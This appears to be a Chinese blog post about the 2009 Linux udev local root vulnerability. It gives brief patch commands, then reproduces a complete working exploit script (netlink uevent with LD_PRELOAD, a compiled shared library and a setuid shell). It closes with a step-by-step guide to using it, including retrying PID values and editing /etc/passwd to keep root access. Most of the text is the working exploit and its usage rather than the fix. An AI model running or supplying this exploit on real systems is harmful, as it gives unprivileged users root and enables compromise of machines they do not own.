Linux的udev程序再爆本地提权漏洞，本地用户可以轻易获得root权限，请立即更新udev程序。（2.4内核系统不受影响）
修复方法(修复前请备份重要数据)：
debian用户请执行apt-get update ; apt-get upgrade -y
centos用户请执行yum update udev
RedHat用户请使用官方rpm包更新或者购买RedHat的satellite服务。
攻击效果展示：
libuuid@debian:~$ sh a 890
sh-3.1# id
uid=0(root) gid=0(root) groups=105(libuuid)
sh-3.1# cat /etc/debian_version
lenny/sid
sh-3.1# dpkg -l | grep udev
ii udev 0.114-2 /dev/ and hotplug management daemon
现在确认的是此攻击方式对Debian和Ubuntu相当有效，对RedHat的攻击效果有待确认。
最新战况请查阅 http://baoz.net/linux-udev-exploit/
EXP:
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
execl("/tmp/suid", "suid", (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]
入侵方法：
http://www.milw0rm.com/exploits/8478 在putty中运行如下命令：
[liang@www ~]$ vi test 粘贴上面的代码
[liang@www ~]$ wq 保存并退出
[liang@www ~]$chmod 777 test 添加任意用户可执行权限
[liang@www ~]$ps ax|grep udev|grep -v grep|awk {’print $1’} 获得udev进程号，结果为479，然后减1作为test参数
[liang@www ~]$sh test 478 结果返回
sh-3.2$ 返回这个说明不成功，我们多试几次
sh-3.2$ sh test 478 这样我试了三次，还是不行
sh-3.2$ sh test 476 这次成功了，我看到了可爱的#，哈哈 人品爆炸了
然后vi /etc/passwd 把用户名liang的 uid和gid改为0，这样liang 就为root 权限了
